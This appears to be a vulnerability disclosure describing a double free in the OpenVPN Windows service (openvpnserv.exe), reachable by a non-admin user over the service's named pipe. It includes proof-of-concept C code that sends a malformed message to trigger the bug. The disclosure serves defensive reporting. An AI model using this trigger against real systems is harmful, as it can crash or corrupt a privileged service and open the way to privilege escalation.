[R1] OpenVPN Windows Service Double Free

Windows installations of OpenVPN are split into three parts:

1. OpenVPN Service (openvpnserv.exe)
2. Userland OpenVPN (openvpn.exe)
3. User Interface

The project is broken up in this way so that non-admin users can establish VPN connections. The user interface communicates with OpenVPN service over a pipe and the service spawns instances of openvpn.exe when escalated privileges are no longer needed.

A malicious user can send malformed data over the pipe in order to trigger a double free. Only providing a single NULL terminated string causes the service to drop into an error state that triggers the initial free of the data pointer in the function GetStartupData. However, a dangling pointer remains in the GETSTARTUPDATA struct. This dangling pointer is later freed during connection cleanup resulting in undefined behavior.

The following code can be used to reproduce the issue:

HANDLE pipeHandle = CreateFile(_T("\\\\.\\pipe\\openvpn\\service"), GENERIC_READ |
	GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
if (pipeHandle == INVALID_HANDLE_VALUE)
{
	return EXIT_FAILURE;
}

DWORD dwMode = PIPE_READMODE_MESSAGE;
if (!SetNamedPipeHandleState(pipeHandle, &dwMode, NULL, NULL))
{
	return EXIT_FAILURE;
}

DWORD rwTotal = 0;
WCHAR init_message[] = L"test";
if (!WriteFile(pipeHandle, init_message, sizeof(init_message), &rwTotal, NULL))
{
	return EXIT_FAILURE;
}

rwTotal = 0;

char data[1024] = { 0 };
bool success = false;
do
{
	success = ReadFile(pipeHandle, data, sizeof(data), &rwTotal, NULL);
	if (!success && GetLastError() != ERROR_MORE_DATA)
	{
		break;
	}
} while (!success);

return 0;